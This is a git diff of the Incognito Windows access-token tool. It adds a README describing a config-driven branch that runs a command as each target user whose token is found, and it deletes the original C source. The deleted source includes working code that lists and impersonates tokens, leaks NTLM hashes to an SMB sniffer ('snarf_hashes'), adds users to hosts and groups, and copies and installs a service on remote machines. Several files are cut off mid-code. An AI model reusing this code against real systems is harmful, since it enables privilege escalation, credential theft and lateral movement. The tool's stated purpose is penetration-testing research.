diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3d66796 --- /dev/null +++ b/.gitignore @@ -0,0 +1,12 @@ + +*.obj +*.tlog +*.pdb +*.log +*.ipch +*.ipdb +*.iobj +*.opendb +*.db +vs2012/.vs/Incognito/v15/.suo +*.exe diff --git a/README b/README index e69de29..ebde0e9 100644 --- a/README +++ b/README @@ -0,0 +1,10 @@ +budz branch + +usage: incognito.exe + +the config file is an .ini-style text file. currently the fields are "targets" and "command". "targets" is a comma-separated list of usernames and/or groups whose tokens will be looked for. "command" is the command that will be run as each target whose token is found. spaces before and after the command and usernames is acceptable. + +below is an example config file: + +targets: joe,bob,bill,Admins, Users,desktop-1nb3dn1\user , nt authority\system +command: cmd.exe /c "net users" >> C:\\Users\\user\\Desktop\\test.txt \ No newline at end of file diff --git a/find_token.c b/find_token.c deleted file mode 100644 index 7818109..0000000 --- a/find_token.c +++ /dev/null @@ -1,165 +0,0 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include -#include - -void enumerate_logged_on_users(char *server, char *username, char *password); - -int main(int argc, char *argv[]) -{ - FILE *fp; - char *username, *password, file_line[100], temp_server_name[100]; - BOOL bFileMode = FALSE; - - if (argc < 2) - { - fprintf(stderr, "usage: \n\n%s | -f [username] [password]\n", argv[0]); - exit(1); - } - if (!_stricmp(argv[1], "-f") && argc > 2) - bFileMode = TRUE; - - if (argc == 5) - { - username = argv[3]; - password = argv[4]; - } - else if (argc == 4) - { - username = argv[2]; - password = argv[3]; - } - else - { - username = NULL; - password = NULL; - } - - printf("[*] Scanning for logged on users...\n\n"); - printf("Server Name\t\tUsername\n"); - printf("------------------------------------------------------\n"); - - if (bFileMode) - { - fp = fopen(argv[2], "r"); - while (fgets(file_line, sizeof(file_line)-1, fp)) - { - sscanf(file_line, "%s\n", temp_server_name); - enumerate_logged_on_users(temp_server_name, username, password); - } - } - else - enumerate_logged_on_users(argv[1], username, password); - - return 0; -} - -void enumerate_logged_on_users(char *server, char *username, char *password) -{ - LPWKSTA_USER_INFO_1 pBuf = NULL; - LPWKSTA_USER_INFO_1 pTmpBuf; - DWORD dwLevel = 1; - DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; - DWORD dwEntriesRead = 0; - DWORD dwTotalEntries = 0; - DWORD dwResumeHandle = 0; - DWORD i; - DWORD dwTotalCount = 0; - NET_API_STATUS nStatus; - wchar_t pszServerName[100]; - char ascii_server_name[100]; - NETRESOURCE nr; - - strcpy(ascii_server_name, "\\\\"); - strncat(ascii_server_name, server, 97); - ascii_server_name[99] = '\0'; - mbstowcs(pszServerName, ascii_server_name, strlen(ascii_server_name)+1); - - if (username && password) - { - nr.dwType = RESOURCETYPE_DISK; - nr.lpLocalName = NULL; - nr.lpProvider = NULL; - nr.lpRemoteName = ascii_server_name; - - WNetCancelConnection2A(nr.lpRemoteName, 0, TRUE); - WNetAddConnection2A(&nr, password, username, 0); - } - - do // begin do - { - nStatus = NetWkstaUserEnum((LPWSTR)pszServerName, - dwLevel, - (LPBYTE*)&pBuf, - dwPrefMaxLen, - &dwEntriesRead, - &dwTotalEntries, - &dwResumeHandle); - - if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) - { - if ((pTmpBuf = pBuf) != NULL) - { - for (i = 0; (i < dwEntriesRead); i++) - { - assert(pTmpBuf != NULL); - - if (pTmpBuf == NULL) - { - fprintf(stderr, "An access violation has occurred\n"); - break; - } - - if (!wcschr((wchar_t*)(pTmpBuf)->wkui1_username, L'$')) - { - printf("%s", server); - wprintf(L"\t\t%s\\%s\n", pTmpBuf->wkui1_logon_domain, pTmpBuf->wkui1_username); - } - pTmpBuf++; - dwTotalCount++; - } - } - } - else - fprintf(stderr, "%s\t\tError: %d\n", server, nStatus); - } while (nStatus == ERROR_MORE_DATA); - - if (pBuf != NULL) - { - NetApiBufferFree(pBuf); - pBuf = NULL; - } -} \ No newline at end of file diff --git a/handle_arguments.c b/handle_arguments.c deleted file mode 100644 index fe3a691..0000000 --- a/handle_arguments.c +++ /dev/null @@ -1,490 +0,0 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include "child_process.h" -#include "user_management.h" -#include "token_info.h" -#include "process_execution.h" -#include "hash_stealer.h" -#include "list_tokens.h" -#include "remote_connection.h" -#include "handle_arguments.h" -#include "XGetopt.h" - -static DWORD WINAPI NewRemoteConnectionThread(LPVOID p); -static DWORD WINAPI NewRemoteConnectionThreadWithCreds(LPVOID p); - -static HANDLE threadSemaphore; -static HANDLE threadMutex; -static int threadCount=0; - -void output_string(char *string, ...) -{ - DWORD dwWritten; - va_list ap; - char temp[2048]; - - va_start(ap, string); - if (_vsnprintf(temp, sizeof(temp), string, ap) == -1) - temp[sizeof(temp)-1] = '\0'; - - if (hOUTPUT == stdout) - printf("%s", temp); - else - WriteFile(hOUTPUT, temp, strlen(temp), &dwWritten, NULL); - - va_end(ap); -} - -void output_status_string(char *string, ...) -{ - char *host = remote_host; - DWORD dwWritten; - va_list ap; - char temp[2048]; - - if (suppress_status) - return; - - va_start(ap, string); - if (_vsnprintf(temp, sizeof(temp), string, ap) == -1) - temp[sizeof(temp)-1] = '\0'; - - if (hOUTPUT == stdout) - { - if (grepable_mode) - printf("%s / [Status] / ", host); - printf("%s", temp); - } - else - { - if (grepable_mode) - { - WriteFile(hOUTPUT, host, strlen(host), &dwWritten, NULL); - WriteFile(hOUTPUT, " / [Status] / ", strlen(" / [Status] / "), &dwWritten, NULL); - } - WriteFile(hOUTPUT, temp, strlen(temp), &dwWritten, NULL); - } - - va_end(ap); -} - -void output_grepable_string(char *string, ...) -{ - char *host = remote_host; - DWORD dwWritten; - va_list ap; - char temp[2048]; - - va_start(ap, string); - if (_vsnprintf(temp, sizeof(temp), string, ap) == -1) - temp[sizeof(temp)-1] = '\0'; - - if (hOUTPUT == stdout) - printf("%s / %s", host, temp); - else - { - WriteFile(hOUTPUT, host, strlen(host), &dwWritten, NULL); - WriteFile(hOUTPUT, " / ", strlen(" / "), &dwWritten, NULL); - WriteFile(hOUTPUT, temp, strlen(temp), &dwWritten, NULL); - } - - va_end(ap); -} - -BOOL output_counted_string(char *string, DWORD dwRead) -{ - DWORD dwWritten; - - if (hOUTPUT == stdout) - return fwrite(string, sizeof(char), dwRead, hOUTPUT); - else - return WriteFile(hOUTPUT, string, dwRead, &dwWritten, NULL); -} - -BOOL read_counted_input(char *string, int string_size, DWORD *dwRead) -{ - char *ret_value; - - if (hINPUT == stdin) - { - ret_value = gets(string); - *dwRead = strlen(string)+1; - return (BOOL)ret_value; - } - else - return ReadFile(hINPUT, string, string_size, dwRead, NULL); -} - -void print_error_if_system() -{ - if (!is_local_system()) - output_string("[-] WARNING: Not running as SYSTEM. Not all tokens will be available.\n"); -} - -void usage(char *programName) -{ - output_string("\nIncognito v2.0, by Luke Jennings (0xlukej@gmail.com)\n"); - output_string("=========================================================\n\n"); - output_string("MWR Labs project page: http://labs.mwrinfosecurity.com/research-projects/security-implications-of-windows-access-tokens/\n\n"); - output_string("Whitepaper: http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf\n\n\n"); - - output_string("Usage:\n\n"); - output_string("%s [global options] COMMAND [options] arguments\n", programName); - output_string("\n\n"); - - - output_string("GLOBAL OPTIONS:\n\n"); - output_string("\t-h \tOperate on remote host\n"); - output_string("\t-f \tOperate on remote hosts loaded from text file\n"); - output_string("\t-u \tUsername to use remotely\n"); - output_string("\t-p \tPassword to use remotely\n"); - output_string("\t-n \tMax number of threads\n"); - output_string("\t-g \t\tGrepable output mode\n"); - output_string("\t-q \t\tQuiet mode (suppress status messages)\n"); - output_string("\n\n"); - - - output_string("COMMANDS:\n\n"); - output_string("\tlist_tokens [options]\t\n\n"); - output_string("\t\t-u\tList by unique username\n"); - output_string("\t\t-g\tList by unique groupname\n"); - output_string("\n"); - - output_string("\texecute [options] \t\n\n"); - output_string("\t\t-c\tEnable communication by console\n"); - output_string("\n"); - - output_string("\tsnarf_hashes \t\n\n"); - - output_string("\tadd_user [options] \t\n\n"); - output_string("\t\t-h \tAdd user to remote host\n"); - output_string("\n"); - - output_string("\tadd_group_user [options] \t\n\n"); - output_string("\t\t-h \tAdd user to group on remote host\n"); - output_string("\n"); - - output_string("\tadd_localgroup_user [options] \t\n\n"); - output_string("\t\t-h \tAdd user to group on remote host\n"); - output_string("\n"); - - output_string("\tcleanup\n\n"); - - output_string("\n"); - - - output_string("TIPS:\n\n"); - output_string("\t- Run as SYSTEM when using locally for domain privilege escalation\n"); - output_string("\t- Run as a standard user when using remotely (-h or -f global options)\n"); - output_string("\t- Remember to enclose arguments with spaces in them within quotation marks\n"); -} - -static BOOL user_supplied = FALSE, pass_supplied = FALSE; -static char username[BUF_SIZE], password[BUF_SIZE]; -static int argc_global; -static char **argv_global; -static BOOL cleanup_mode = FALSE; - -void handle_options(int argc, char *argv[]) -{ - int c, MAX_THREADS = 10; - FILE *fp; - char *command, host_to_add_user[BUF_SIZE] = "127.0.0.1", filename[BUF_SIZE], file_line[BUF_SIZE], *thread_specific_host = NULL; - BOOL connect_remotely = FALSE, console_mode = FALSE, file_mode = FALSE; - - argc_global = argc; - argv_global = argv; - grepable_mode = FALSE; - suppress_status = FALSE; - strcpy(remote_host, "127.0.0.1"); - - // Parse global incognito options - while ((c = getopt(argc, argv, "f:h:u:p:n:gq")) != -1) - { - switch (c) - { - case 'u': - { - user_supplied = TRUE; - strncpy(username, optarg, BUF_SIZE); - username[BUF_SIZE-1] = '\0'; - break; - } - case 'p': - { - pass_supplied = TRUE; - strncpy(password, optarg, BUF_SIZE); - password[BUF_SIZE-1] = '\0'; - break; - } - case 'h': - { - if (!override_connect_remotely) - connect_remotely = TRUE; - strncpy(remote_host, optarg, BUF_SIZE); - remote_host[BUF_SIZE-1] = '\0'; - break; - } - case 'f': - { - if (!override_connect_remotely) - connect_remotely = TRUE; - file_mode = TRUE; - strncpy(filename, optarg, BUF_SIZE); - filename[BUF_SIZE-1] = '\0'; - break; - } - case 'g': - { - grepable_mode = TRUE; - break; - } - case 'q': - { - suppress_status = TRUE; - break; - } - case 'n': MAX_THREADS = atoi(optarg); break; - case '?': output_string("[-] Unknown global option %s\n", argv[optind-1]); return; - case ':': output_string("[-] %s option argument was not supplied\n", argv[optind-1]); return; - } - } - - // Setup thread control - threadSemaphore = CreateSemaphore(NULL, MAX_THREADS, MAX_THREADS, NULL); - threadMutex = CreateMutex(NULL, FALSE, NULL); - - if (connect_remotely) - { - if (!_stricmp("cleanup", ((argv_global+optind)-1)[1])) - cleanup_mode = TRUE; - - if (is_local_system()) - output_status_string("[-] WARNING: Running as SYSTEM. This will fail as SYSTEM cannot authenticate remotely. Run as a standard user.\n"); - - if (optind >= argc) - { - output_status_string("[-] No arguments supplied to be passed to remote service\n"); - return; - } - - if (file_mode) - { - fp = fopen(filename, "r"); - if (fp == NULL) - { - output_status_string("[-] Invalid Filename\n"); - return; - } - - while (fgets(file_line, sizeof(file_line)-1, fp)) - { - sscanf(file_line, "%s\n", remote_host); - thread_specific_host = (char*)calloc(strlen(remote_host)+1, sizeof(char)); - strcpy(thread_specific_host, remote_host); - - if (user_supplied && pass_supplied) - { - WaitForSingleObject(threadSemaphore, INFINITE); - WaitForSingleObject(threadMutex, INFINITE); - threadCount += 1; - ReleaseMutex(threadMutex); - - CreateThread( - NULL, // default security attributes - 0, // use default stack size - NewRemoteConnectionThreadWithCreds, // thread function - thread_specific_host, // argument to thread function - 0, // use default creation flags - NULL); // returns the thread identifier - } - else if (!user_supplied && !pass_supplied) - { - WaitForSingleObject(threadSemaphore, INFINITE); - WaitForSingleObject(threadMutex, INFINITE); - threadCount += 1; - ReleaseMutex(threadMutex); - - CreateThread( - NULL, // default security attributes - 0, // use default stack size - NewRemoteConnectionThread, // thread function - thread_specific_host, // argument to thread function - 0, // use default creation flags - NULL); // returns the thread identifier - } - else - output_status_string("[-] Please supply either both username and password or neither when connecting remotely\n"); - - - } - - while(threadCount > 0) - Sleep(100); - - return; - } - - if (user_supplied && pass_supplied) - connect_to_machine(remote_host, username, password, (argc-optind)+1, (argv+optind)-1, cleanup_mode); - else if (!user_supplied && !pass_supplied) - connect_to_machine(remote_host, NULL, NULL, (argc-optind)+1, (argv+optind)-1, cleanup_mode); - else - output_status_string("[-] Please supply either both username and password or neither when connecting remotely\n"); - - return; - } - - // Set incognito command (list_tokens, execute, snarf_hashes etc) - if (optind < argc) - command = argv[optind]; - - // Increment optind to point to command specific options and arguments - optind += 1; - - if (!is_local_system()) - output_status_string("[-] WARNING: Not running as SYSTEM. Not all tokens will be available.\n"); - - // Handle each different command - if (!_stricmp("list_tokens", command)) - { - while ((c = getopt(argc, argv, "ug"))) - { - switch (c) - { - case 'u': list_unique_tokens(BY_USER); return; - case 'g': list_unique_tokens(BY_GROUP); return; - case EOF: output_string("[-] No list_tokens command options specified\n"); return; - default: output_string("[-] Unknown list_tokens command option\n"); return; - } - } - } - else if (!_stricmp("execute", command)) - { - while ((c = getopt(argc, argv, "c")) != -1) - { - switch (c) - { - case 'c': console_mode = TRUE; break; - default: output_string("[-] Unknown execute command option\n"); return; - } - } - - // Check enough arguments supplied - if (argc - optind < 2) - { - output_string("[-] Not enough arguments supplied to execute command\n"); - return; - } - - execute_process_with_primary_token(argv[optind], argv[optind+1], console_mode); - return; - } - else if (!_stricmp("snarf_hashes", command)) - { - // Check enough arguments supplied - if (argc - optind < 1) - { - output_string("[-] Not enough arguments supplied to snarf_hashes command\n"); - return; - } - - snarf_hashes(argv[optind]); - } - else if (!_stricmp("add_user", command) || !_stricmp("add_localgroup_user", command) || !_stricmp("add_group_user", command)) - { - while ((c = getopt(argc, argv, "h:")) != -1) - { - switch (c) - { - case 'h': - { - strncpy(host_to_add_user, optarg, BUF_SIZE); - host_to_add_user[BUF_SIZE-1] = '\0'; - break; - } - case ':': output_string("[-] list_tokens %s option argument was not supplied\n", argv[optind-1]); return; - default: output_string("[-] Unknown add_user command option\n"); return; - } - } - - // Check enough arguments supplied - if (argc - optind < 2) - { - output_string("[-] Not enough arguments supplied to command\n"); - return; - } - - if (!_stricmp("add_user", command)) - add_user(host_to_add_user, argv[optind], argv[optind+1]); - else if (!_stricmp("add_localgroup_user", command)) - add_user_to_localgroup(host_to_add_user, argv[optind], argv[optind+1]); - else if (!_stricmp("add_group_user", command)) - add_user_to_group(host_to_add_user, argv[optind], argv[optind+1]); - - return; - } - else if (!_stricmp("cleanup", command)) - output_string("[-] cleanup command not valid in this context. Needs to be a remote connection\n"); - else - output_string("[-] Unknown command %s\n", command); - - return; -} - -static DWORD WINAPI NewRemoteConnectionThreadWithCreds(LPVOID p) -{ - connect_to_machine(p, username, password, (argc_global-optind)+1, (argv_global+optind)-1, cleanup_mode); - - WaitForSingleObject(threadMutex, INFINITE); - threadCount -= 1; - ReleaseMutex(threadMutex); - - ReleaseSemaphore(threadSemaphore, 1, NULL); - return 0; -} - -static DWORD WINAPI NewRemoteConnectionThread(LPVOID p) -{ - connect_to_machine(p, NULL, NULL, (argc_global-optind)+1, (argv_global+optind)-1, cleanup_mode); - - WaitForSingleObject(threadMutex, INFINITE); - threadCount -= 1; - ReleaseMutex(threadMutex); - - ReleaseSemaphore(threadSemaphore, 1, NULL); - return 0; -} \ No newline at end of file diff --git a/hash_stealer.c b/hash_stealer.c deleted file mode 100644 index 29bc5d7..0000000 --- a/hash_stealer.c +++ /dev/null @@ -1,104 +0,0 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "token_info.h" -#include "list_tokens.h" -#include "handle_arguments.h" -void create_process(HANDLE token, char *command, BOOL console_mode, SECURITY_IMPERSONATION_LEVEL impersonation_level); - -// Send off hashes for all tokens to IP address with SMB sniffer running -void snarf_hashes(char *smb_sniffer_ip) -{ - DWORD num_tokens = 0, i; - SavedToken *token_list = NULL; - NETRESOURCE nr; - char conn_string[BUF_SIZE], domain_name[BUF_SIZE]; - TOKEN_PRIVS token_privs; - - // Initialise net_resource structure (essentially just set ip to that of smb_sniffer) - if (_snprintf(conn_string, sizeof(conn_string), "\\\\%s", smb_sniffer_ip) == -1) - conn_string[sizeof(conn_string)-1] = '\0'; - nr.dwType = RESOURCETYPE_ANY; - nr.lpLocalName = NULL; - nr.lpProvider = NULL; - nr.lpRemoteName = (LPSTR)conn_string; - - // Enumerate tokens - output_status_string("[*] Finished snarfing hashes\n"); - - token_list = get_token_list(&num_tokens, &token_privs); - if (!token_list) - { - output_status_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); - return; - } - - output_status_string("[*] Snarfing hashes...\n"); - - // Use every token and get hashes by connecting to SMB sniffer - for (i=0;i -#include -#include -#include -#include -#include "handle_arguments.h" - -void usage(char*); - -int main(int argc, char *argv[]) -{ - hINPUT = stdin; - hOUTPUT = stdout; - - if (argc == 1) - { - usage(argv[0]); - return 1; - } - - override_connect_remotely = FALSE; - handle_options(argc,argv); - exit(0); -} diff --git a/process_execution.c b/process_execution.c deleted file mode 100644 index 066ef98..0000000 --- a/process_execution.c +++ /dev/null @@ -1,209 +0,0 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "list_tokens.h" -#include "child_process.h" -#include "token_info.h" -#include "handle_arguments.h" - -void create_process(HANDLE token, char *command, BOOL console_mode, SECURITY_IMPERSONATION_LEVEL impersonation_level); - - -void execute_process_with_primary_token(char *requested_username, char *command, BOOL console_mode) -{ - DWORD num_unique_tokens = 0, num_tokens = 0, i; - unique_user_token *uniq_tokens = calloc(BUF_SIZE, sizeof(unique_user_token)); - SavedToken *token_list = NULL; - BOOL bTokensAvailable = FALSE, delegation_available = FALSE, assignprimarypriv_gained = FALSE; - TOKEN_PRIVS token_privs; - - // Enumerate tokens - output_status_string("[*] Enumerating tokens\n"); - - token_list = get_token_list(&num_tokens, &token_privs); - if (!token_list) - { - output_status_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); - return; - } - - // Process all tokens to get determinue unique names and delegation abilities - for (i=0;i 0) - { - output_status_string("[*] Searching for availability of requested token\n"); - - for (i=0;i -#include -#include -#include -#include -#include "handle_arguments.h" - -#define PIPE_FORMAT "%s\\pipe\\%s" -#define PIPE_TIMEOUT 1000 -#define BUFSIZE 1500 -#define CHARS_IN_GUID 39 -#define MESSAGESIZE 1000 - -BOOL GetPhysicalPathForShare(char* szServer, char* lpszShare, char** lpszPhysicalPath, int nBufferSize); -BOOL GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath); -void connect_to_named_pipe(char *lpszServer); -DWORD WINAPI ReadFromNamedPipe(LPVOID p); -DWORD WINAPI WriteToNamedPipe(LPVOID p); -void handle_interrupt(int signal); -void cleanup(char *server_name, char *username, char *password); - -__declspec( thread ) static HANDLE hPipeR, hPipeW; -__declspec( thread ) static GUID guidPipe; -__declspec( thread ) static WCHAR wszGUID[CHARS_IN_GUID + 1]; -__declspec( thread ) static char szGUID[CHARS_IN_GUID + 1], rExename[MAX_PATH]; -__declspec( thread ) static SC_HANDLE hscm = NULL; -__declspec( thread ) static SC_HANDLE hsvc = NULL; -__declspec( thread ) static SERVICE_STATUS sStatus; - -void connect_to_machine(char *server_name, char *username, char *password, int argc, char *argv[], BOOL cleanup_mode) -{ - DWORD i, rc; - char *szWritableShare = NULL, *szWritableSharePhysical = NULL, machineName[MAX_PATH], - resourceName[MAX_PATH], szFullServicePath[MAX_PATH], localPath[MAX_PATH], **varg; - - NETRESOURCE rec; - rec.dwType = RESOURCETYPE_DISK; - rec.lpLocalName = NULL; - rec.lpProvider = NULL; - - if (cleanup_mode) - { - cleanup(server_name, username, password); - return; - } - - if (_snprintf(machineName, MAX_PATH, "\\\\%s", server_name) == -1) - machineName[sizeof(machineName)-1] = '\0'; - szWritableShare = (char*)calloc(MAX_PATH + 1, sizeof(char)); - szWritableSharePhysical = (char*)calloc(MAX_PATH + 1, sizeof(char)); - - // Make copies of arguments to pass to remote service - varg = (char**)calloc(argc+3, sizeof(char*)); - if (grepable_mode) - { - if (suppress_status) - varg[1] = "-gq"; - else - varg[1] = "-g"; - varg[2] = "-h"; - varg[3] = server_name; - for (i=1;i<(unsigned int)argc;i++) - varg[i+3] = argv[i]; - argc += 3; - } - else if (suppress_status) - { - varg[1] = "-q"; - for (i=1;i<(unsigned int)argc;i++) - varg[i+1] = argv[i]; - argc ++; - } - else - { - for (i=1;i<(unsigned int)argc;i++) - varg[i] = argv[i]; - } - - // Register signal handlers and get local path - signal(SIGINT, handle_interrupt); - signal(SIGTERM, handle_interrupt); - signal(SIGABRT, handle_interrupt); - GetModuleFileNameA(NULL, localPath, MAX_PATH); - - // Need to establish a connection to enumerate shares sometimes - sprintf(resourceName, "%s\\IPC$", machineName); - rec.lpRemoteName = resourceName; - - // Connect to remote host if username and password supplied - if (username && password) - { - output_status_string("[*] Attempting to establish new connection to %s\n", resourceName); - - WNetCancelConnection2A(rec.lpRemoteName, 0, TRUE); - - if ((rc = WNetAddConnection2A(&rec, password, username, 0))) - output_status_string("[-] Logon to %s failed: error %d\n", resourceName, rc); - else - output_status_string("[+] Logon to %s succeeded\n", resourceName); - } - else - output_status_string("[-] No username and password supplied\n"); - - if (!GetAvailableWriteableShare(machineName, MAX_PATH, &szWritableSharePhysical, MAX_PATH, &szWritableShare)) - { - output_status_string("[-] Unable to find writable share on %s\n", machineName); - return; - } - if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0) - { - output_status_string("[-] Unable to find a writable share on %s\n", machineName); - return; - } - if (_snprintf(szFullServicePath, MAX_PATH,"%s\\%s", szWritableSharePhysical, "incognito_service.exe") == -1) - szFullServicePath[sizeof(szFullServicePath)-1] = '\0'; - - // copy exe file to remote machine - output_status_string("[*] Copying service to %s\n", machineName); - strncpy(strrchr(localPath, '\\') + 1, "incognito_service.exe", MAX_PATH-1-(strrchr(localPath, '\\') + 1 - localPath)); - localPath[MAX_PATH-1] = '\0'; - strncpy(rExename, szWritableShare, MAX_PATH-1); - rExename[MAX_PATH-1] = '\0'; - strncat(rExename, "\\incognito_service.exe", MAX_PATH-strlen(rExename)); - - if (!CopyFileA(localPath, rExename, FALSE)) - { - if (GetLastError() == ERROR_FILE_EXISTS) - output_status_string("[-] File already exists"); - else - { - output_status_string("[-] Couldn't copy %s to destination %s: %d\n", localPath, rExename, GetLastError()); - return; - } - } - else - output_status_string("[+] Copied service successfully\n"); - - // Need to create a guid for the pipe name - memset(wszGUID, 0, CHARS_IN_GUID + 1); - memset(szGUID, 0, CHARS_IN_GUID + 1); - - CoCreateGuid(&guidPipe); - StringFromGUID2(&guidPipe, wszGUID, CHARS_IN_GUID); - wcstombs(szGUID, wszGUID, CHARS_IN_GUID+1); - - // establish the service on remote machine - hscm = OpenSCManagerA(machineName, NULL, SC_MANAGER_CREATE_SERVICE); - - if(!hscm) - { - output_status_string("[-] Failed to open service control manager\n"); - return; - } - - // Create service - output_status_string("[*] Creating incognito service on remote host\n"); - hsvc = CreateServiceA(hscm, "incognito_service", "Incognito Service", SERVICE_ALL_ACCESS, - SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, - szFullServicePath, NULL, NULL, NULL, 